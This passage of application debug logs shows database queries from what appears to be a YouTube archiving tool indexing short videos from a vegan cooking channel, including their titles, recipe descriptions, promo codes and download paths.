(m0."source_id" = ?)) [~U[2022-06-09 18:09:50Z], 1] 20:31:10.835 [debug] QUERY OK source="media_items" db=0.6ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Recipe Video: https://youtu.be/4yT2hTmzayE\n\nThis roasted carrot, beet and brussels salad is vegan, gluten-free, and served hot and spicy. It's super healthy, packed full of protein and a great plant-based dish for any time of the year.\n\nDon't forget to subscribe for more delicious, hot and steamy, vegan and gluten free recipes!", "SALAD SERVED HOT AND SPICY", "464f0a1b-5dd3-4335-baaf-2e8344b97953", 1, [], 45, false, "DMVLJryUtz4", "https://www.youtube.com/shorts/DMVLJryUtz4", 388, "/downloads/downloads/alec/Steamy Vegan/2022-06-09 SALAD SERVED HOT AND SPICY/SALAD SERVED HOT AND SPICY [DMVLJryUtz4].NA", false, false, true, 3, ~U[2022-06-09 18:09:50Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Full Recipe Video: https://youtu.be/4yT2hTmzayE\n\nThis roasted carrot, beet and brussels salad is vegan, gluten-free, and served hot and spicy. It's super healthy, packed full of protein and a great plant-based dish for any time of the year.\n\nDon't forget to subscribe for more delicious, hot and steamy, vegan and gluten free recipes!", "SALAD SERVED HOT AND SPICY", 1, 45, false, "DMVLJryUtz4", "https://www.youtube.com/shorts/DMVLJryUtz4", "/downloads/downloads/alec/Steamy Vegan/2022-06-09 SALAD SERVED HOT AND SPICY/SALAD SERVED HOT AND SPICY [DMVLJryUtz4].NA", true, ~U[2022-06-09 18:09:50Z]] 20:31:10.837 [debug] QUERY OK source="sources" db=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.839 [debug] QUERY OK source="media_items" db=2.0ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-09 15:00:18Z], 1] 20:31:10.840 [debug] QUERY OK source="media_items" db=0.5ms idle=7.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Smells like an Italian restaurant", "9f23648e-c7bd-4efc-a050-04dc95113fca", 1, [], 11, false, "bZbZQIry6r4", "https://www.youtube.com/shorts/bZbZQIry6r4", 389, "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Smells like an Italian restaurant/Smells like an Italian restaurant [bZbZQIry6r4].NA", false, false, true, 3, ~U[2022-06-09 15:00:18Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "Smells like an Italian restaurant", 1, 11, false, "bZbZQIry6r4", "https://www.youtube.com/shorts/bZbZQIry6r4", "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Smells like an Italian restaurant/Smells like an Italian restaurant [bZbZQIry6r4].NA", true, ~U[2022-06-09 15:00:18Z]] 20:31:10.841 [debug] QUERY OK source="sources" db=0.6ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.843 [debug] QUERY OK source="media_items" db=1.5ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-08 22:18:48Z], 1] 20:31:10.844 [debug] QUERY OK source="media_items" db=0.8ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This viral tik tok pasta is so unreal and I've made a full recipe video for you down below.\nFull Video: https://youtu.be/0x08omFb7wA", "Live Life Saucy", "cee83d71-3c9a-47e5-96fe-665b92e05667", 1, [], 14, false, "anGUjPuuUI8", "https://www.youtube.com/shorts/anGUjPuuUI8", 390, "/downloads/downloads/alec/Steamy Vegan/2022-06-08 Live Life Saucy/Live Life Saucy [anGUjPuuUI8].NA", false, false, true, 2, ~U[2022-06-08 22:18:48Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This viral tik tok pasta is so unreal and I've made a full recipe video for you down below.\nFull Video: https://youtu.be/0x08omFb7wA", "Live Life Saucy", 1, 14, false, "anGUjPuuUI8", "https://www.youtube.com/shorts/anGUjPuuUI8", "/downloads/downloads/alec/Steamy Vegan/2022-06-08 Live Life Saucy/Live Life Saucy [anGUjPuuUI8].NA", true, ~U[2022-06-08 22:18:48Z]] 20:31:10.845 [debug] QUERY OK source="sources" db=0.9ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.849 [debug] QUERY OK source="media_items" db=1.9ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-08 17:36:15Z], 1] 20:31:10.850 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Seth Rogen explains his logic behind being gluten free. This is pretty much how most of my conversations go with people about being on a gluten free diet.\n\nSubscribe for daily gluten free and vegan recipes!", "How I explain I'm gluten free #shorts", "bb8d4933-3eca-4c30-995d-efcb7149cd4d", 1, [], 39, false, "yxUCWqLNeZ4", "https://www.youtube.com/shorts/yxUCWqLNeZ4", 391, "/downloads/downloads/alec/Steamy Vegan/2022-06-08 How I explain I'm gluten free #shorts/How I explain I'm gluten free #shorts [yxUCWqLNeZ4].NA", false, false, true, 2, ~U[2022-06-08 17:36:15Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Seth Rogen explains his logic behind being gluten free. This is pretty much how most of my conversations go with people about being on a gluten free diet.\n\nSubscribe for daily gluten free and vegan recipes!", "How I explain I'm gluten free #shorts", 1, 39, false, "yxUCWqLNeZ4", "https://www.youtube.com/shorts/yxUCWqLNeZ4", "/downloads/downloads/alec/Steamy Vegan/2022-06-08 How I explain I'm gluten free #shorts/How I explain I'm gluten free #shorts [yxUCWqLNeZ4].NA", true, ~U[2022-06-08 17:36:15Z]] 20:31:10.851 [debug] QUERY OK source="sources" db=0.8ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.853 [debug] QUERY OK source="media_items" db=1.8ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-07 19:00:16Z], 1] 20:31:10.854 [debug] QUERY OK source="media_items" db=0.6ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So you used the single chipotle pepper in adobo sauce that the recipe called for -- now what are you supposed to do with the rest of the can? 🤔\n\nFreeze them up in your ice cube tray with a splash of olive oil! Watch the rest of my TOP TEN FOOD HACKS! ⬇️\nhttps://youtu.be/Iv8GO56gMXk", "Chipotle pepper hack! 🌶 🥵", "940178ec-99ae-4b45-82a9-8fb35d4c119d", 1, [], 54, false, "nk9XmouY8O4", "https://www.youtube.com/shorts/nk9XmouY8O4", 392, "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Chipotle pepper hack! 🌶 🥵/Chipotle pepper hack! 🌶 🥵 [nk9XmouY8O4].NA", false, false, true, 3, ~U[2022-06-07 19:00:16Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "So you used the single chipotle pepper in adobo sauce that the recipe called for -- now what are you supposed to do with the rest of the can? 🤔\n\nFreeze them up in your ice cube tray with a splash of olive oil! Watch the rest of my TOP TEN FOOD HACKS! ⬇️\nhttps://youtu.be/Iv8GO56gMXk", "Chipotle pepper hack! 🌶 🥵", 1, 54, false, "nk9XmouY8O4", "https://www.youtube.com/shorts/nk9XmouY8O4", "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Chipotle pepper hack! 🌶 🥵/Chipotle pepper hack! 🌶 🥵 [nk9XmouY8O4].NA", true, ~U[2022-06-07 19:00:16Z]] 20:31:10.856 [debug] QUERY OK source="sources" db=1.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.859 [debug] QUERY OK source="media_items" db=2.9ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-07 16:00:10Z], 1] 20:31:10.862 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We just did a full review of the iHarvest indoor hydroponic garden system. If you've ever been curious about indoor hydroponic gardens then you'll learn a ton in this review and maybe this one will be the best one for you!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase!\n\nCheck out the full review here: https://youtu.be/dkAJWc2mD1o", "Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts", "ee164198-35f0-4088-9e2c-8f61e60a95f0", 1, [], 42, false, "LjazaFHpvfY", "https://www.youtube.com/shorts/LjazaFHpvfY", 393, "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts/Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts [LjazaFHpvfY].NA", false, false, true, 3, ~U[2022-06-07 16:00:10Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We just did a full review of the iHarvest indoor hydroponic garden system. If you've ever been curious about indoor hydroponic gardens then you'll learn a ton in this review and maybe this one will be the best one for you!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase!\n\nCheck out the full review here: https://youtu.be/dkAJWc2mD1o", "Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts", 1, 42, false, "LjazaFHpvfY", "https://www.youtube.com/shorts/LjazaFHpvfY", "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts/Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts [LjazaFHpvfY].NA", true, ~U[2022-06-07 16:00:10Z]] 20:31:10.862 [debug] QUERY OK source="sources" db=0.5ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.866 [debug] QUERY OK source="media_items" db=3.1ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-07 00:00:09Z], 1] 20:31:10.869 [debug] QUERY OK source="media_items" db=2.5ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese beauties are a spin on my 7-INGREDIENT Protein Bars. They’re melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! 🍫 🤤 \n\nRecipe video for my original 7-ingredient protein bars: https://youtu.be/ZjO06fyfHLc\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1/2 cup toasted coconut flakes \n1/2 cup hemp hearts\n1 cup plant-based protein powder (vanilla flavour )\n1 tsp vanilla\n1/4 cup maple syrup\n1/4 cup cacao nibs\n1/4 cup dried cranberries\n\n1. Start by adding the coconut oil to a saucepan and let it melt on medium heat - add your nut or seed butter, pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat — Add in the vanilla extract, protein powder, cacao nibs, cranberries and hemp seeds and combine until it’s a completely uniform mixture — Once that’s done, set it aside momentarily and line a 9x9” square tin with parchment paper — carefully spoon out the nut butter mixture into the tin — Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside — top with toasted coconut flakes + Sprinkle some flaky sea salt as an optional, but highly recommended finishing touch, and place the tin in the fridge for at least 2 hours to set — Once it’s set you can slice into whatever size of bar you like. \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals", "Coconut 🥥 cranberry protein bars 💪🏻", "e82ec133-749a-4c47-a149-e8c492f60356", 1, [], 16, false, "bVYESfxv8lU", "https://www.youtube.com/shorts/bVYESfxv8lU", 394, "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Coconut 🥥 cranberry protein bars 💪🏻/Coconut 🥥 cranberry protein bars 💪🏻 [bVYESfxv8lU].NA", false, false, true, 3, ~U[2022-06-07 00:00:09Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese beauties are a spin on my 7-INGREDIENT Protein Bars. They’re melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! 🍫 🤤 \n\nRecipe video for my original 7-ingredient protein bars: https://youtu.be/ZjO06fyfHLc\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1/2 cup toasted coconut flakes \n1/2 cup hemp hearts\n1 cup plant-based protein powder (vanilla flavour )\n1 tsp vanilla\n1/4 cup maple syrup\n1/4 cup cacao nibs\n1/4 cup dried cranberries\n\n1. Start by adding the coconut oil to a saucepan and let it melt on medium heat - add your nut or seed butter, pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat — Add in the vanilla extract, protein powder, cacao nibs, cranberries and hemp seeds and combine until it’s a completely uniform mixture — Once that’s done, set it aside momentarily and line a 9x9” square tin with parchment paper — carefully spoon out the nut butter mixture into the tin — Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside — top with toasted coconut flakes + Sprinkle some flaky sea salt as an optional, but highly recommended finishing touch, and place the tin in the fridge for at least 2 hours to set — Once it’s set you can slice into whatever size of bar you like. \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals", "Coconut 🥥 cranberry protein bars 💪🏻", 1, 16, false, "bVYESfxv8lU", "https://www.youtube.com/shorts/bVYESfxv8lU", "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Coconut 🥥 cranberry protein bars 💪🏻/Coconut 🥥 cranberry protein bars 💪🏻 [bVYESfxv8lU].NA", true, ~U[2022-06-07 00:00:09Z]] 20:31:10.870 [debug] QUERY OK source="sources" db=0.5ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.872 [debug] QUERY OK source="media_items" db=2.0ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-06 19:00:13Z], 1] 20:31:10.875 [debug] QUERY OK source="media_items" db=1.0ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POV: Ya ever buy one of those giant 5 lb. bags of carrots, telling yourself you're going to get through them all...and then you don't 🥕🥕🥕😳\n\nReduce your #foodwaste and keep them in a container of water instead! They'll stay fresh and crunchy for WEEKS, my friends. Try it out for yourself! 😁\n\nSee all of my TOP 10 FOOD HACKS here: https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Stop throwing out your old carrots! 🥕 🥕", "5f05aa74-5eb2-4cfc-ae36-a320a5b3b6be", 1, [], 54, false, "SojmXu86uw0", "https://www.youtube.com/shorts/SojmXu86uw0", 395, "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Stop throwing out your old carrots! 🥕 🥕/Stop throwing out your old carrots! 🥕 🥕 [SojmXu86uw0].NA", false, false, true, 3, ~U[2022-06-06 19:00:13Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "POV: Ya ever buy one of those giant 5 lb. bags of carrots, telling yourself you're going to get through them all...and then you don't 🥕🥕🥕😳\n\nReduce your #foodwaste and keep them in a container of water instead! They'll stay fresh and crunchy for WEEKS, my friends. Try it out for yourself! 😁\n\nSee all of my TOP 10 FOOD HACKS here: https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Stop throwing out your old carrots! 🥕 🥕", 1, 54, false, "SojmXu86uw0", "https://www.youtube.com/shorts/SojmXu86uw0", "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Stop throwing out your old carrots! 🥕 🥕/Stop throwing out your old carrots! 🥕 🥕 [SojmXu86uw0].NA", true, ~U[2022-06-06 19:00:13Z]] 20:31:10.876 [debug] QUERY OK source="sources" db=0.5ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.878 [debug] QUERY OK source="media_items" db=1.9ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-06 01:00:07Z], 1] 20:31:10.879 [debug] QUERY OK source="media_items" db=1.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Pinto Bean Carrot Chilli is smoky, spicy and whips up in a pinch. It’s a great way to use up lots of carrots, and fabulous for weeknight meals as it’s fast, hearty and filling.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\nIngredients (featuring rescued veggies from my fave @pekoproduce!\n3 cups carrots (rescued!), sliced into half coins\n1 can pinto beans\n one medium yellow onion, roughly chopped\n4 cloves of garlic, minced\n2 cups of onion broth (or veg broth/water)\n1 can tomato paste\n2 teaspoons cumin\n2 teaspoons oregano\n2 teaspoons chilli powder\nSalt + pepper to taste\nOne chipotle pepper in adobo sauce finely minced\n2 tablespoons ketchup\n2 tablespoons Apple cider vinegar\n1 teaspoon liquid smoke (optional)\n\n- Sauté the onion, garlic and chipotle pepper in 1 tbsp oil (or 1/4 cup water) until soft and translucent, about 3 minutes\n- Add the spices and stir to coat, let toast for 1 minute\n- Add the pinto beans, carrots, tomato paste and broth and combine thoroughly. Cover and bring to a boil. Once bubbling, bring down to medium heat and cook for 10 minutes\n- Uncover and add the ketchup, ACV and liquid smoke and stir well. Leave uncovered and continue simmering for another 10 minutes, or until the carrots are fork tender and the sauce has thickened to your liking\n- Garnish with vegan sour cream, green onions or cilantro and enjoy!", "Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨", "714d0e76-bac0-4e34-bf5d-1a896cdf45e3", 1, [], 15, false, "BGooNV_qtCw", "https://www.youtube.com/shorts/BGooNV_qtCw", 396, "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨/Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨 [BGooNV_qtCw].NA", false, false, true, 3, ~U[2022-06-06 01:00:07Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This Pinto Bean Carrot Chilli is smoky, spicy and whips up in a pinch. It’s a great way to use up lots of carrots, and fabulous for weeknight meals as it’s fast, hearty and filling.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\nIngredients (featuring rescued veggies from my fave @pekoproduce!\n3 cups carrots (rescued!), sliced into half coins\n1 can pinto beans\n one medium yellow onion, roughly chopped\n4 cloves of garlic, minced\n2 cups of onion broth (or veg broth/water)\n1 can tomato paste\n2 teaspoons cumin\n2 teaspoons oregano\n2 teaspoons chilli powder\nSalt + pepper to taste\nOne chipotle pepper in adobo sauce finely minced\n2 tablespoons ketchup\n2 tablespoons Apple cider vinegar\n1 teaspoon liquid smoke (optional)\n\n- Sauté the onion, garlic and chipotle pepper in 1 tbsp oil (or 1/4 cup water) until soft and translucent, about 3 minutes\n- Add the spices and stir to coat, let toast for 1 minute\n- Add the pinto beans, carrots, tomato paste and broth and combine thoroughly. Cover and bring to a boil. Once bubbling, bring down to medium heat and cook for 10 minutes\n- Uncover and add the ketchup, ACV and liquid smoke and stir well. Leave uncovered and continue simmering for another 10 minutes, or until the carrots are fork tender and the sauce has thickened to your liking\n- Garnish with vegan sour 